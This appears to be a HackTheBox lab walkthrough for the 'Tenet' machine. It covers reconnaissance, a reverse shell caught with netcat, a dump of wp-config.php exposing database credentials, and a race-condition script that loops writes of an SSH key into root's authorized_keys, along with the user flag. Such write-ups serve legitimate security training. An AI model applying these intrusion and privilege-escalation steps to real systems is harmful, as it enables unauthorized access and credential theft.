Posted onEdited onInHackTheBox walkthroughViews: Word count in article: 1.8kReading time ≈6 mins.
introduce
OS: Linux Difficulty: Medium Points: 30 Release: 16 Jan 2021 IP: 10.10.10.223
information gathering
first use nmap as usaul
1 2 3 4 5 6
┌──(root💀kali)-[~/hackthebox/machine/tenet] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.223 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
WEBSITE
It’s just a Default page :/ nothing there, let’s add tenet.htb to our /etc/hosts file
Yep, there’s a vhost running there and its tenet.htb, Let’s enum there for sometime
I just scrolled down and got a Recent comments section, when I click that It takes me to the comments page
So note here a user commented, “did you remove the sator php file and the backup?”
also we got a username (neil) here take a note of it 🙂
I enumed for sometime and stucked here for sometime, they’re saying we migrating, so looks like there’s another vhost and It would be sator coz the user talking about it
So I added sator.tenet.htb to my /etc/hosts
It worked 🙂 but now I’m trying to find that php backup file, so I got 404 here. let me back when I find that file :/
1
http://sator.tenet.htb/sator.php
Somehow I managed to find the file but I can’t able to read it :/
When I added .bak to the url, I can able to download it 😀
┌──(root💀kali)-[~/hackthebox/machine/tenet] └─# nc -lvp 5555 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::5555 Ncat: Listening on 0.0.0.0:5555 Ncat: Connection from 10.10.10.223. Ncat: Connection from 10.10.10.223:40482. id uid=33(www-data) gid=33(www-data) groups=33(www-data) whoami www-data python -c 'import pty; pty.spawn("/bin/bash")' You also have python3 installed, you can run 'python3' instead.
python3 -c 'import pty; pty.spawn("/bin/bash")' www-data@tenet:/var/www/html$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@tenet:/var/www/html$ ls ls index.html sator.php shell.php wordpress revshell.php sator.php.bak users.txt
WWW-DATA to USER
Remember this is a wordpress site so we need to find credentials based on that,
So as I said we need to enum based on wordpress name, then I got creds for the user neil in /var/www/html/wordpress folder and filename “wp-config.php”
www-data@tenet:/var/www/html/wordpress$ cat wp-config.php cat wp-config.php <?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://wordpress.org/support/article/editing-wp-config-php/ * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** MySQL database username */ define( 'DB_USER', 'neil' ); /** MySQL database password */ define( 'DB_PASSWORD', 'Opera2112' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); /** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8mb4' ); /** The Database Collate type. Don't change this ifin doubt. */ define( 'DB_COLLATE', '' );
/**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to login again. * * @since 2.6.0 */ define( 'AUTH_KEY', 'QiuK;~(mBy7H3y8G;*|^*vGekSuuxKV$:Tc>5qKr`T}(t?+`r.+`gg,Ul,=!xy6d' ); define( 'SECURE_AUTH_KEY', 'x3q&hwYy]:S{l;jDU0D&./@]GbBz(P~}]y=3deqO1ZB/`P:GU<tJ[v)4><}wl_~N' ); define( 'LOGGED_IN_KEY', 'JrJ_u34gQ3(x7y_Db8`9%@jq<;{aqQk(Z+uZ|}M,l?6.~Fo/~Tr{0bJIW?@.*|Nu' ); define( 'NONCE_KEY', '=z0ODLKO{9K;<,<gT[f!y_*1QgIc;#FoN}pvHNP`|hi/;cwK=vCwcC~nz&0:ajW#' ); define( 'AUTH_SALT', '*.;XACYRMNvA?.r)f~}+A,eMke?/i^O6j$vhZA<E5Vp#N[a{YL TY^-Q[X++u@Ab' ); define( 'SECURE_AUTH_SALT', 'NtFPN?_NXFqW-Bm6Jv,v-KkjS^8Hz@BIcxc] F}(=v1$B@F/j(`b`7{A$T{DG|;h' ); define( 'LOGGED_IN_SALT', 'd14m0mBP eIawFxLs@+CrJz#d(88cx4||<6~_U3F=aCCiyN|]Hr{(mC5< R57zmn' ); define( 'NONCE_SALT', 'Srtt&}(~:K(R(q(FMK<}}%Zes!4%!S`V!KSk)Rlq{>Y?f&b`&NW[INM2,a9Zm,SH' );
/**#@-*/
/** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'wp_';
/** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the documentation. * * @link https://wordpress.org/support/article/debugging-in-wordpress/ */ define( 'WP_DEBUG', false );
/* That's all, stop editing! Happy publishing. */ /** Absolute path to the WordPress directory. */ if ( ! defined( 'ABSPATH' ) ) { define( 'ABSPATH', __DIR__ . '/' ); } /** Sets up WordPress vars and included files. */ require_once ABSPATH . 'wp-settings.php';
┌──(root💀kali)-[~/hackthebox/machine/tenet] └─# ssh neil@10.10.10.223 The authenticity of host '10.10.10.223 (10.10.10.223)' can't be established. ECDSA key fingerprint is SHA256:WV3NcHaV7asDFwcTNcPZvBLb3MG6RbhW9hWBQqIDwlE. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.223' (ECDSA) to the list of known hosts. neil@10.10.10.223's password: Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
System information as of Mon Jan 18 04:51:48 UTC 2021
System load: 0.0 Processes: 176 Usage of /: 15.4% of 22.51GB Users logged in: 0 Memory usage: 14% IP address for ens160: 10.10.10.223 Swap usage: 0%
0 packages can be updated. 0 of these updates are security updates.
Last login: Thu Dec 17 10:59:51 2020 from 10.10.14.3 neil@tenet:~$ id uid=1001(neil) gid=1001(neil) groups=1001(neil) neil@tenet:~$ whoami neil neil@tenet:~$ ls user.txt neil@tenet:~$ cat user.txt b7ec0d7ccbebbfaf18eb70dc14bce4f7
and we got user.txt
USER to ROOT
when I tried sudo -l it showed me neil(user) can run the file “/usr/local/bin/enableSSH.sh”
1 2 3 4 5 6
neil@tenet:~$ sudo -l Matching Defaults entries for neil on tenet: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
User neil may run the following commands on tenet: (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
So that’s the thing we need to use to privesc, Here’s that file
So by running this we can add our .pub key to root’s authorized_keys 🙂
privesc was pretty simple 😀
So I created a simple script to add my pub key to “/root/.ssh/authorized_keys”
also I created a loop here to run it multiple times
root.sh
1 2 3 4
whiletrue do echo"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali" | tee /tmp/ssh-* done
create this file on /home/neil directory
Listen here we need 3 terminals to root
To run our root.sh file
To run that enableSSH.sh file (make sure run it as sudo)
To log in as root
You need to do this multiple times, I tried it more than 25 times then I got root shell
1 2 3 4
for i in {1..10000} do sudo enableSSH.sh done
many people trying this so don’t get angry try it more time sure you’ll get root shell 😀 or reset it and try again